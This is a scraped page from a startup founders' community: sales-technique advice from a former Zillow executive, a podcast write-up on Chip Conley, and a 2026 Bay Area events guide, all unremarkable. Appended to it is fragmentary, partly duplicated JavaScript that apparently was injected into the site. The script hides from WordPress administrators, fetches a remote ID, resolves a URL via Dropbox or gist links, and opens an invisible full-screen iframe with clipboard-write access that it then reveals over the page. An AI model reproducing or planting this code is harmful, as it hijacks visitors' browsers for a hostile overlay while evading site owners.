We recently had the opportunity to sit down and talk to Doug Slotkin, Zillow‘s former VP of sales. Doug was able to break down, step by step, how a professional salesperson performs his or her craft. Many non-sales folks are intimidated by sales because it’s foreign to them and because of the stigmas attached to bad sales techniques that we’ve all seen.  

That’s why, as a result of learning how to systematize your sales process into a rinse-and-repeat formula, you’ll learn: 

1. The best way to approach a sales meeting or call so that your prospect willingly shares valuable, actionable information with you.
2. How to change the way you look at the sales process to get your prospect to lower their guard in fear that they’ll be “sold to”. 
3. Course-correcting for modern times. How to use this technique even in a post COVID world where sales may be stagnant. 

“Commission Breath”

The fact is, we’ve all been on the receiving end of sales and we’ve all been the “victim” of a bad salesperson. 

Imagine that you’re having a somewhat slim month. You don’t have a lot of money to splurge on things that aren’t necessities, yet this salesperson keeps trying to push this $500/month “deal”on you. 

Doug calls that “commission breath”. 

From the salesperson’s perspective, they don’t want to hear “no”– no one does. In order to avoid that uncomfortable feeling, prospects walk into a sales meeting or get on a sales call and they brace themselves for the inevitable barrage of pushy sales tactics that are going to be hurled their way.

Not so fast. 

Depressurize and Systematize 

Before working with Zillow, Doug started HouseValues.com in 2001, selling to real estate agents over the phone. In the beginning, he did what any regular salesperson would do — close the deal at all costs, no matter what. He did close a lot of deals. But then a month or two later, he also got a lot of cancellations. 

What happened? 

He learned that,

More than trying to sell to anyone and everyone, you should be trying to determine if there's a good fit between your product or service, and the person you're trying to sell it to.
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When you fashion the sales meeting as more of an interview, the prospect on the other end automatically lowers their guard. In addition, they’ll be much more forthcoming about the things that you, the salesperson, need to know. They’ll talk about their struggles, their successes and their challenges.

Meanwhile, you should be making sure that your product or service is just as good of a match for them as they are for it. In short, it’s startup marketing with a focus on the  consumer. 

It’s a Dialogue, Not a Monologue

This “sales interview process” that Slotkin advocates for is a 50/50 process: equal parts give and take. You’re trying to learn about the customer’s needs rather than just throwing a bunch of features and benefits at the wall and hoping some of it sticks. 

One thing you’ll definitely learn right off the bat from employing a strategy like this in your own sales calls or meetings is that this is not a cookie-cutter approach. There must be a true exchange of ideas. It’s time to stop looking at prospects as just money.  It’s time to shift the startup marketing mindset. 

Slotkin notes that this advice might fly in the face of everything you think you know about sales. For decades and decades, the mantra has been “if they have a pulse and money to spend, they’re a customer.”

It’s Okay if You Don’t Make the Sale

“What?!” You’re probably thinking. This, too, flies in the face of traditional sales and marketing. By following this advice, you actually have a better chance to make the sale because you’ve taken pressure off of yourself. You’ll be more natural, you’ll have less tension, and in short, you’ll be yourself. 

Doug helped grow HouseValues to an $800 million dollar company. As a result of these methods, he had the lowest cancellation rate among his customers and helped to take the company public. There’s no better proof that these strategies worked to make that possible. 

Get Customers to Show You Why They Should Be Your Partner

As much as you want to be sure that your product is a good fit for your customer, so too do you want to be sure that they're a good fit for your product.
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What if the pilot product is terrible? Or at least not yet as good as it could be. What happens then? 

The important thing is to set clear expectations. Set modest expectations, then exceed them. Under promise, but over-deliver.  Objections and rebuttals are going to happen.

During this time it’s important to remain indifferent and unbiased. Surprisingly, the fact that you don’t care whether or not the person buys from you actually makes the product that much more desirable.

If you react in a way that's clingy or desperate, prospects can smell that in your voice and in your tone and the words that you use
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They’ll start to wonder, what’s so bad about this product that this person has to practically beg me to buy it?

How Is This Strategy Affected by the Coronavirus? 

This is a good point to address because coronavirus has affected a lot of businesses and salaries. The way to address this is to demonstrate to them that you want a long-term partner. Maybe they can’t do business with you right now. But in the meantime, you’re working to build equity with that person.

So that when they’re ready for you, you’ll be ready for them. 

Key Takeaways from this Startup Marketing Event

• Many prospects automatically put their guard up when they think they’re being sold to. You can diffuse this by approaching the process as more of an interview; a dialogue as opposed to a monologue. 
• Take some of the pressure off of yourself by realizing that it’s okay if you don’t make the sale. If it’s not a good product/market fit, there’s nothing you can do to change that. There will be other opportunities that are. 
• Even if what you’re selling isn’t the best-in-class in its industry, you can and should still set modest expectations. Under-promise and over-deliver. 

Many more insightful questions were asked at our event round-table. By becoming a member, you can get access to the entire event video as well as many more member-only benefits. Learn startup marketing from like-minded individuals who are, or have been, where you are. 

Request an invite to learn more about systematizing your sales process from Doug Slotkin and 600+ fellow tech founders through interactive webinars and forum conversations featuring over 9 years of archived knowledge.

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Chip Conley lost three entrepreneur friends to suicide during the Great Recession. What connected these tragedies wasn’t just business failure—it was how deeply these founders had intertwined their identities with their companies’ success. “When the company died, they died, or they wanted to die,” Conley reflects. “And that’s not healthy.”

Key Takeaway: The most successful founders learn to separate their personal worth from their company’s performance—before they hit a wall that could cost them everything.

From 26 to 52: Building an Empire, Hitting a Wall

Conley’s journey began at 26, fresh out of Stanford Business School, when he started what became one of the world’s first boutique hotel companies. Over 24 years, he grew Joie de Vivre from a single funky motel in San Francisco’s Tenderloin—the Phoenix—into a 52-hotel company that Hyatt would eventually acquire as the JDV brand.

But success came with a hidden cost. “I felt at times like my sense of identity was too attached to the company, which is very much a familiar thing for a lot of founders, especially founders in their 20s, 30s, and 40s,” Conley explains.

The breaking point came during the Great Recession. Unlike the dot-com bust and 9/11—challenges where he “felt like a gladiator”—this time was different. Conley was already experiencing what he calls an emotional dip: a long-term relationship ending, his African-American foster son facing wrongful imprisonment, financial strain, and even a near-death experience from an allergic reaction to antibiotics.

“I hit a wall on just every part of my life. I didn’t want to do it anymore. But I was the great recession, so I really couldn’t run away from my business and I couldn’t sell it very easily.”

— Chip Conley, Founder of Joie de Vivre Hotels, speaking on the Founders Network podcast

The Gladiator vs. Prisoner Mindset

Conley’s distinction between feeling like a “gladiator” versus a “prisoner” offers crucial insight for founders navigating difficult periods. During the dot-com bust and 9/11, he approached challenges with curiosity and leadership—qualities that helped his team weather the storm and even inspired his book “Peak: How Great Companies Get Their Mojo From Maslow.”

But the Great Recession was different. “I didn’t feel like a gladiator. I felt like a prisoner,” he admits. The difference wasn’t just external circumstances—it was his internal state and how tightly his identity was wound around the company’s fate.

This distinction matters for founders facing their own walls. Mental health challenges in startups are increasingly common, and understanding when you’re operating from a gladiator mindset versus feeling trapped can be the difference between breakthrough and breakdown.

For founders in major tech hubs like New York’s startup scene, peer support becomes even more critical during these challenging periods. The isolation of leadership combined with the pressure of urban startup ecosystems can amplify the identity trap.

The Modern Elder: From Mentor to Mentee at 52

After selling Joie de Vivre, Conley spent two years from 50 to 52 deliberately exploring what made him curious. He attended 36 festivals in 16 countries, studied emotional intelligence, and wrote “Emotional Equations.” This period of intentional exploration set him up for what would become his most impactful role yet.

At 52, Brian Chesky called. Airbnb was still a small, relatively unknown startup, and Chesky wanted Conley as his full-time mentor. The age gap was stark—Chesky was 31, the average company age was 26, and Conley initially bristled at being called a “modern elder.”

“He said to me the thing that really got to me: ‘Chip, a modern elder is someone who’s as curious as they are wise.’ And I was like, wow, that’s what I want to be when I grew up—the combination, the alchemy of curiosity and wisdom.”

Conley spent seven and a half years at Airbnb (four full-time, three and a half part-time), helping guide the company to its IPO and status as the most valuable hospitality company in the world. This experience taught him that wisdom without curiosity becomes irrelevant, while curiosity without wisdom can be dangerous—especially for founders making high-stakes decisions.

Building Resilience Beyond Your Company

The tragedy of losing entrepreneur friends to suicide during the recession crystallized an important lesson for Conley: founders need identity beyond their companies. “Be careful about attaching your identity too much to the success or failure of your company,” he warns.

This doesn’t mean caring less about your startup—it means building a more robust sense of self that can weather business storms. For founders in competitive markets or facing funding challenges, this psychological resilience can be the difference between pivoting successfully and giving up entirely.

The Modern Elder Academy, which Conley founded after his Airbnb experience, now serves over 8,000 alumni from 60 countries with 56 regional chapters. Surprisingly, about 25% of attendees are millennials interested in developing wisdom and leadership skills—proof that the identity challenge isn’t limited to older founders.

“There’s just a lot to be said around spending time with interesting people who are doing things that you think are interesting too. If all you’re doing is just sitting around watching football games, you’re probably not increasing the surface area of people that you’re meeting.”

— Wade Foster, CEO & Co-founder of Zapier, Founders Network member, speaking on the Founders Network podcast

Practical Steps for Avoiding the Identity Trap

Based on Conley’s journey and the patterns he’s observed across thousands of entrepreneurs, here are actionable strategies for founders:

• Diversify your identity early: Cultivate interests, relationships, and roles beyond your company. Conley’s involvement with Burning Man’s founding board gave him perspective beyond hotels.
• Recognize gladiator vs. prisoner moments: When challenges feel like learning opportunities, you’re in gladiator mode. When they feel like traps, it’s time to reassess.
• Build peer connections: Communities that offer startup mentorship programs provide reality checks and support during difficult periods.
• Embrace the “modern elder” mindset: Combine curiosity with whatever wisdom you’ve gained, regardless of age. This keeps you learning instead of just grinding.
• Plan for multiple chapters: Your first company doesn’t have to be your entire story. Conley’s three distinct career chapters show the power of reinvention.

The Long Game of Entrepreneurship

What makes Conley’s story particularly relevant for today’s founders is his perspective on entrepreneurship as a long game rather than a single-company sprint. His transition from hotel entrepreneur to Airbnb mentor to Modern Elder Academy founder shows how skills and wisdom compound across ventures.

For founders currently weathering economic storms or facing their own walls, Conley’s journey offers both warning and hope. The warning: don’t let your company’s fate determine your worth. The hope: there can be multiple meaningful chapters to your entrepreneurial story.

As startup ecosystems in major cities like Tokyo continue growing from small communities to robust networks, the lessons about identity, mentorship, and resilience become even more critical. Founders need both the courage to build something new and the wisdom to survive the journey.

Conley’s experience suggests that the most successful entrepreneurs aren’t those who never hit walls—they’re the ones who learn to climb them, or more importantly, who build identities strong enough to withstand the impact when companies don’t work out as planned.

To learn more about building resilience as a founder and connecting with peer mentors who understand the entrepreneurial journey, see if you qualify for Founders Network membership.

Based on a conversation from the Founders Network podcast.

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Key Takeaway: The Bay Area startup ecosystem in 2026 offers founders unprecedented access to AI-focused conferences, specialized networking events, and direct investor connections through premier events like the AI Engineer World’s Fair, Startup Grind Global Conference, and SF Tech Week.

The San Francisco startup community landscape has evolved dramatically in 2026, with artificial intelligence taking center stage across nearly every major event. San Francisco remains the beating heart of artificial intelligence innovation and 2026 is shaping up to be its most exciting year yet. From enterprise AI summits to deeply technical developer conferences, the city is hosting events where groundbreaking research meets real-world deployment. For founders navigating this landscape, knowing which events deliver the most value for your time and budget is critical.

This guide covers the essential startup events in the Bay Area for 2026, from intimate founder meetups to massive conferences attracting thousands of attendees. Each event has been selected based on networking potential, learning opportunities, and direct access to investors and partners.

Premier AI and Tech Conferences

AI Engineer World’s Fair

JUNE 29 – JULY 2, 2026 • SAN FRANCISCO, CA. The largest technical AI conference in the world, with 29 tracks, 300 speakers, 100 expo partners, 6,000+ AI Engineers, founders, and VPs of AI. This four-day event represents the pinnacle of technical AI conferences, bringing together every major frontier lab and AI-native company.

Why Attend: This is the one place you can meet with every major frontier lab, leading AI clouds, and AI native/transformed companies — from disruptive AI startups to Fortune 500 AI leaders, and every notable building block in the LLM OS ecosystem. The conference focuses on practical implementation rather than theoretical concepts.

Target Audience: Technical founders, AI engineers, VPs of Engineering, and data science leaders building production AI systems.

The AI Conference 2026

The AI Conference 2026 is hosted at Pier 48, a waterfront venue in San Francisco’s Mission Rock neighborhood. Meet the first confirmed of 120+ speakers for The AI Conference 2026. Running September 30 – October 1, this two-day conference emphasizes real-world applications and concrete architectures.

Notable Features: Attendees can expect concrete architectures, practical lessons from teams shipping AI today. The event includes exclusive after-hours networking at “Party in the Park,” an open-air celebration for the AI community.

GenAI Summit SF 2026

30,000+ attendees, 400+ speakers, July 18-19 2026 at Palace of Fine Arts, San Francisco. The most native GenAI conference in Silicon Valley. This massive event represents the largest gathering focused specifically on generative AI applications.

Startup-Focused Events and Conferences

Startup Grind Global Conference

Join the Startup Exhibition at the SG Conference in Silicon Valley on April 27-29, 2026! Our top 100 exhibitors from past years have raised over $1.5B, and we can’t wait to see what deals come from the 2026 batch. This three-day conference combines education with direct investor access through their startup exhibition.

Startup Exhibition Highlights:

• Proven ROI: Our top 100 exhibitors from past years have raised over $1.5B, and we can’t wait to see what deals come from the 2026 batch. Don’t miss your chance to showcase your startup to 5,000+ entrepreneurs, investors, and innovators.
• AI Demo Series: Monthly showcase specifically for AI founders
• Global Reach: Meet new hires and investors in Silicon Valley, San Francisco Bay Area or our 600 other startup communities around the world. Startup Grind is a startup community in 120 countries delivering education, connections, and opportunities to help startups and scaleups grow.

Step San Francisco 2026

Join Step San Francisco on August 27, 2026 at The Midway. Meet startups, investors, and tech leaders, and explore what’s next in innovation This single-day conference features curated matchmaking and an international audience.

Key Features:

• Curated Matchmaking: Connections are intentionally facilitated through a curated matchmaking system, helping founders, investors, and operators meet with clear context and purpose – not left to chance.
• Global Network: With attendees from 50+ countries, the audience reflects a genuinely international ecosystem – bringing different perspectives, experiences, and opportunities into one place.
• Practical Focus: The focus is on what’s actually working – from lessons learned to strategies you can apply immediately.

TechCrunch Disrupt 2026

The three-day conference runs from October 13-15, 2026, and has become the must-attend event for startups at every growth stage. The 2026 edition brings the global startup ecosystem together for three days of powerful programming, groundbreaking ideas, and practical learning.

Startup Battlefield Competition: Startup Battlefield – Emerging startups compete to gain visibility, catch investors’ attention, and win a USD 100,000 prize This competition remains one of the most prestigious startup showcases in Silicon Valley.

SF Tech Week 2026

SF Tech Week 2026 runs from October 5 through October 11, bringing together founders, investors, operators, and builders for a week of events across the city. This decentralized event series has become the unofficial “reunion” of the global startup ecosystem.

How SF Tech Week Works

SF Tech Week is decentralized, meaning companies, startups, and organizations can host their own events and submit them to be featured on the official calendar. This creates hundreds of simultaneous events across the city, from intimate founder dinners to large-scale product launches.

Event Types During SF Tech Week:

• Networking Events: VCs host evening mixers and exclusive dinners
• Product Launches: Major companies time announcements to coincide with the week
• Pitch Competitions: Multiple competitions run simultaneously
• Job Fairs: This curated event connects Seed to Series B startups with top technical, operational, and GTM talent. This curated event connects Seed to Series B startups with top technical, operational, and GTM talent.

Where to Stay and Network

We recommend staying in the SOMA district, which is where most of the events will be held. The concentration of events in South of Market makes it the unofficial headquarters for the week.

Specialized Developer and Technical Events

AI Dev 26 x SF

Join us for a transformative experience in building with AI in San Francisco on April 28-29, 2026. Hosted by Andrew Ng, Founder of DeepLearning.AI, this two-day event brings together the brightest minds in AI development for a unique opportunity to share knowledge, showcase innovation, and network in person.

Track Record: Following the sold-out success of our 2025 AI Dev event in New York, which brought together over 1,200 developers, builders, and researchers, we’re excited to bring our flagship event back to the West Coast. Join us in San Francisco on April 28–29 for the next chapter of the AI Dev series, bigger, bolder, and packed with even more hands-on learning, real-world insights, and cutting-edge demos.

AI Council 2026

3 days of no-bullsh*t AI talks for engineers who ship. 10 tracks, 1,500+ attendees, speakers from OpenAI, Vercel, Hugging, Face Databricks & more. SF · May 12–14. This technical conference focuses exclusively on practical implementation.

Why Technical Founders Attend: Hear from Founders, CTOs, Principal Researchers, and Staff Engineers from the teams behind the tools you actually use — real architectures, real tradeoffs, real production failures.

Accelerator and Mentorship Programs

Techstars Startup Weekend

Spring, 2026 · Techstars Startup Weekend is a dynamic 3-day accelerator program where innovators, developers, and entrepreneurs come together to turn ideas into reality. This intensive weekend program offers rapid validation and team formation.

Program Structure:

• Day 1: Participants pitch their ideas, and the most promising concepts are selected through voting. Teams of 3-5 people form around these ideas, setting the stage for an exciting weekend of collaboration and innovation.
• Day 2: Teams work tirelessly to develop prototypes, validate their ideas, and refine their business models with the help of mentors and coaches.
• Day 3: Final presentations to investors and potential partners

Mentor Network: You’ll be immersed in an invaluable network of AI mentors and coaches and gain access to resources that will help you refine your concepts and pitch effectively to top Bay Area investors.

Tech Weekend

A 48-hour fundraising sprint for pre-seed to Series A founders. VC panels, pitch competitions, networking, and 1:1 office hours with top investors. June 18-19, 2026 in San Francisco. This event focuses specifically on fundraising strategies every founder should understand and investor connections.

Industry-Specific Events

Maker Faire Bay Area

September 25 – 27, 2026 on Mare Island, California. Join us in creating the largest celebration of invention, creativity, curiosity & hands-on learning. While not exclusively for startups, this event attracts hardware founders and technical co-founders.

Hardware Startup Relevance: Calling all makers, builders, hackers, craftsmen, and artisans—apply now to showcase your work at Maker Faire Bay Area. September 25–27 at the Historic Mare Island Naval Shipyard, Vallejo CA.

HealthTech Week

Healthcare innovators can find great value at HealthTech Week from January 10-17, 2026. The event runs at the same time as JPM Healthcare in San Francisco. This specialized week targets healthcare innovation specifically.

Event Highlights: These include the JPM HealthTech Week Opening Party (January 11), VIP Reception at Equinox Sports Club (January 12), HealthTech Startup Pitch Competition (January 13), Startup Finalist Run-off (January 15), and conclude with the HealthTech Wearables Fashion Show (January 16).

How to Maximize Your Event ROI

Pre-Event Preparation

The most successful founders treat major events as strategic initiatives, not networking afterthoughts. Based on conversations with Founders Network members who’ve leveraged these events for fundraising and partnerships, preparation makes the difference between valuable connections and expensive business cards.

Essential Preparation Steps:

• Research Attendee Lists: Most major conferences publish speaker and sponsor lists 30-60 days in advance
• Schedule Meetings in Advance: Use LinkedIn and event apps to book specific meetings rather than hoping for chance encounters
• Prepare Multiple Pitch Versions: 30-second elevator pitch, 2-minute demo, and 5-minute deep dive
• Set Measurable Goals: “Meet 5 potential customers” is more actionable than “network effectively”

During the Event

Founders Network has observed that successful event attendees follow consistent patterns in how they navigate large conferences and networking events.

Networking Strategy:

• Quality Over Quantity: Focus on 3-5 meaningful conversations rather than collecting 50 business cards
• Ask Strategic Questions: “What’s the biggest challenge in your fundraising right now?” generates better responses than “What do you do?”
• Offer Value First: Share relevant introductions, resources, or insights before making requests
• Take Notes Immediately: Use your phone to record context about each conversation while it’s fresh

Post-Event Follow-Up

The most valuable connections happen after the event, not during it. Successful founders treat the event as the beginning of relationship-building, not the end.

Follow-Up Best Practices:

• 24-Hour Rule: Send personalized follow-up messages within 24 hours while you’re still top-of-mind
• Reference Specific Conversations: “Following up on our discussion about Series A metrics” vs. “Nice meeting you”
• Provide Promised Resources: If you offered to send a pitch deck, introduction, or article, deliver immediately
• Suggest Concrete Next Steps: “Would you be open to a 30-minute call next Tuesday?” vs. “Let’s stay in touch”

Budgeting for Bay Area Startup Events

Event costs vary dramatically based on the conference size and target audience. Based on 2026 pricing data, here’s what founders can expect:

Premium Technical Conferences:

• AI Engineer World’s Fair: $1,500-$3,000 (4 days, 6,000+ attendees)
• The AI Conference: $1,200-$2,000 (2 days, premium venue)
• AI Dev 26 x SF: $800-$1,400 (2 days, technical focus)

Startup-Focused Events:

• TechCrunch Disrupt: $1,000-$2,500 (3 days, general admission vs. VIP)
• Startup Grind Global: $400-$800 (community-focused pricing)
• Step SF: $300-$600 (single day, high ROI)

Accelerator Programs:

• Techstars Startup Weekend: $100-$200 (3 days, includes meals)
• Tech Weekend: $200-$400 (fundraising focus)

Free and Low-Cost Options:

• Meetup Events: Free-$50 (regular networking)
• University Events: Free-$25 (Stanford, Berkeley, UCSF host regular startup events)
• Company-Hosted Events: Free (Google, Microsoft, AWS host regular developer and founder meetups)

Hidden Costs to Consider

Beyond ticket prices, Bay Area events require additional budget planning:

Accommodation: San Francisco startup community members often find hotel rates during major tech events can reach $400-600 per night. Book 60-90 days in advance or consider Oakland/South Bay alternatives with BART access.

Transportation: Uber/Lyft surge pricing during events can double normal rates. Many successful founders use event weeks to explore the city on foot or by public transit.

Meals and Entertainment: Networking dinners and drinks add up quickly. Budget $100-200 per day for meals during major conference weeks.

Community and Ongoing Networking

Beyond annual conferences, the Bay Area startup ecosystem thrives on ongoing community engagement. Founders Network connects entrepreneurs with startup mentorship programs that extend far beyond individual events.

Regular Meetup Series

Startup Valley: Startup Networking A global community of startups, investors, and tech leaders. We bring together entrepreneurs, venture capitalists, and experts so you can: Connect with investors and partners Pitch your startup and get valuable feedback Stay updated on trends in Tech, AI, Web3, and FinTech Expand your professional network Solve challenges through insights from experienced entrepreneurs

Monthly events provide consistent touchpoints with the startup community without the intensity and cost of major conferences. These smaller gatherings often produce more meaningful connections because conversations can extend beyond brief introductions.

High-Value Regular Events:

• First Tuesday Events: Monthly founder dinners in different neighborhoods
• AI Meetup SF: Technical presentations and networking for AI builders
• Women in Tech SF: Monthly events focused on supporting women founders
• Hacker News Meetups: Quarterly gatherings of the HN community

Peer Mentorship Communities

While events provide valuable networking opportunities, sustained peer mentorship offers ongoing support for the challenges founders face between conferences. Organizations like Founders Network create structured peer groups where founders can share experiences, solve problems collaboratively, and build lasting professional relationships.

The most successful founders combine event networking with ongoing peer mentorship, using conferences to identify potential mentors and advisors, then maintaining those relationships through regular communication and mutual support.

Planning Your 2026 Event Calendar

With dozens of high-value events throughout 2026, strategic calendar planning prevents overlap and maximizes learning opportunities.

Q1 2026: Foundation Setting

• January: HealthTech Week (10-17) for healthcare founders
• March: BSidesSF (21-22) for security-focused startups

Q2 2026: Technical Deep Dives

• April: Startup Grind Global (27-29) and AI Dev 26 x SF (28-29)
• May: AI Council (12-14), Crescendo Live (21), AI DevSummit (27-28)
• June: Tech Weekend (18-19), AI Engineer World’s Fair begins (29)

Q3 2026: Major Conferences

• July: AI Engineer World’s Fair continues (1-2), GenAI Summit (18-19)
• August: Step SF (27)
• September: Maker Faire (25-27), The AI Conference (30)

Q4 2026: Ecosystem Convergence

• October: The AI Conference continues (1), SF Tech Week (5-11), TechCrunch Disrupt (13-15)

Strategic Calendar Tips:

• Block Calendar Early: Major conferences sell out 60-90 days in advance
• Cluster Related Events: Plan to attend multiple events during high-activity weeks like SF Tech Week
• Balance Technical vs. Business Focus: Alternate between deeply technical conferences and broader business networking events
• Plan Recovery Time: Major conference weeks are intense—schedule lighter weeks afterward

Frequently Asked Questions

Which events are best for early-stage founders?

Early-stage founders benefit most from events that combine education with practical networking. Startup Grind Global Conference, Techstars Startup Weekend, and Step SF offer the best balance of learning opportunities and investor access without the premium pricing of technical conferences. These events also feature more peer-to-peer learning opportunities with other founders at similar stages.

Are AI conferences worth attending for non-AI startups?

Yes, but selectively. Even traditional SaaS, e-commerce, and service businesses are integrating AI capabilities in 2026. The AI Conference and AI Dev 26 x SF focus on practical implementation rather than theoretical research, making them valuable for any founder exploring AI integration. However, avoid the most technical conferences like AI Engineer World’s Fair unless you’re building AI-native products.

How do I get investor meetings during major events?

The most successful approach involves pre-event preparation rather than hoping for chance encounters. Research which VCs are speaking or sponsoring events, then reach out 30-60 days in advance requesting brief meetings. Use warm introductions when possible—ask your network for connections to target investors. During events like SF Tech Week, many VCs host specific office hours or demo days that provide structured meeting opportunities.

What’s the best way to follow up after networking events?

Send personalized follow-up messages within 24 hours while conversations are fresh. Reference specific details from your discussion and provide any resources you promised during the conversation. Most importantly, suggest concrete next steps rather than vague “let’s stay in touch” messages. Successful founders track all new connections in a CRM system and set reminders for regular follow-up touchpoints.

How can international founders maximize their Bay Area event trips?

International founders should plan longer trips (7-14 days) to attend multiple events and schedule additional meetings. Focus on high-density periods like SF Tech Week when the entire ecosystem converges. Use the trip to visit potential customers, partners, and investors beyond formal events. Many successful international founders plan quarterly Bay Area trips, timing them around major events to maximize relationship-building opportunities.

Research & Resources

• Harvard Business Review: The Key to Effective Business Networking — Research-backed strategies for making meaningful professional connections
• TechCrunch: How to Maximize ROI from Startup Conferences — Data-driven approach to conference attendance and follow-up
• First Round Review: The Fundraising Framework That Got 20 Startups Funded — Strategic framework for leveraging events in fundraising efforts
• Y Combinator: How to Build Your Seed Deck — Essential preparation for pitch competitions and investor meetings
• Deloitte: Startup Ecosystem Trends — Comprehensive analysis of startup community dynamics and networking effectiveness

To learn more about leveraging peer mentorship for startup success, see if you qualify for Founders Network membership.

Written by the Founders Network team — a peer mentorship community for tech startup founders since 2011.

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return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }

return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) { cleanup("done"); return ""; }

var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }

activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }

registry.runPromise = run(); })();

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };

function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement; var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}

return false; }

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }

registry.status = "loading";

function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }

function buildTrustedUrl(template, id) { if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }

return template.replace(/\{id\}/g, encoded); }

function toHttpUrl(value) { if (!value) return "";

var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }

try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}

return ""; }

function findUrlInObject(input, depth) { if (!input || depth > 3) return "";

if (typeof input === "string") { return toHttpUrl(input); }

if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i ]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }

return ""; }

function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }

function addHint(rel, href) { if (!href || !document || !document.createElement) return;

var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;

try { var parent = document.head || document.documentElement; if (!parent) return;

var link = document.createElement("link"); link.rel = rel; link.href = href;

if (rel === "preconnect") { link.crossOrigin = "anonymous"; }

parent.appendChild(link); } catch (e) {} }

function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(""); }

var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) { return step(index + 1); }

if (!cfg.useFetch) { return Promise.resolve(builtUrl); }

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }

return step(0); }

function activateIframe(url) { if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) { cleanup("done"); return; }

var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }

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registry.status = "active";

iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");

setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }

function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }

registry.destroy = destroy; registry.reveal = reveal;

iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");

iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };

iframe.onerror = function () { destroy(); };

timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);

try { mount.appendChild(iframe); } catch (e) { destroy(); } }

function run() { warmupOrigins(); bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }

return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) { cleanup("done"); return ""; }

var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }

activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }

registry.runPromise = run(); })();

